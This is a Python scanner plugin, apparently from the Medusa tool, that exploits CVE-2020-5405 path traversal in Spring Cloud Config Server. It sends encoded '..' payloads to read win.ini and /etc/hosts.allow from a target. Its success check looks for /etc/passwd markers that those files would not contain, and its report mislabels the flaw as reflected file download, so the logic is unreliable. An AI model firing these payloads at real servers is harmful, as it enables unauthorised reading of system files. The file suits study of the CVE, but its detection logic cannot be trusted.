#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib.parse
import requests
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2020-5405" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-3-11"  # 插件编辑时间
        self.info['disclosure']='2020-3-11'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "SpringPathTraversalVulnerability"  # 插件名称
        self.info['name'] ='Spring路径遍历漏洞' #漏洞名称
        self.info['affects'] = "Spring"  # 漏洞组件
        self.info['desc_content'] = "spring-cloud-config-server组件存在的路径遍历漏洞，攻击者可利用此漏洞遍历目录，非法读取文件内容。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "2.2.2之前的2.2.x版本\r\n2.1.7之前的2.1.x版本"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果


def medusa(Url,RandomAgent,UnixTimestamp):

    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    payload1="/foo/profiles/..%28_%29Windows/win.ini"
    payload2 = "/foo/profiles/..%28_%29etc/hosts.allow"
    payload3 = "/foo/profiles/%252f..%252f..%252f..%252fetc/hosts.allow"
    payload4 = "/foo/profiles/%252f..%252f..%252f..%252fWindows/win.ini"
    for i in [ payload1, payload2, payload3, payload4]:
        try:
            payload_url = scheme + "://" + url +":"+ str(port)+ i
            headers = {
                'User-Agent': RandomAgent,
                'Accept': '*/*',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'en',
                'Connection': 'close',
                "Upgrade-Insecure-Requests": "1"
            }

            resp = requests.get(payload_url,headers=headers, timeout=6, verify=False,allow_redirects=False)
            con = resp.text
            code = resp.status_code
            if code==200 and con.find("root:x:")!=-1 and con.find("bin:x")!=-1  and con.find("lp:x")!=-1:
                Medusa = "{} 存在Spring反射文件下载漏洞\r\n漏洞地址:\r\n{}\r\n返回内容:\r\n{}".format(url,payload_url,con)
                _t=VulnerabilityInfo(Medusa)
                VulnerabilityDetails(_t.info, url,UnixTimestamp).Write()#传入url和扫描到的数据
                WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
        except Exception as e:
            _ = VulnerabilityInfo('').info.get('algroup')
            ErrorHandling().Outlier(e, _)
            _l = ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名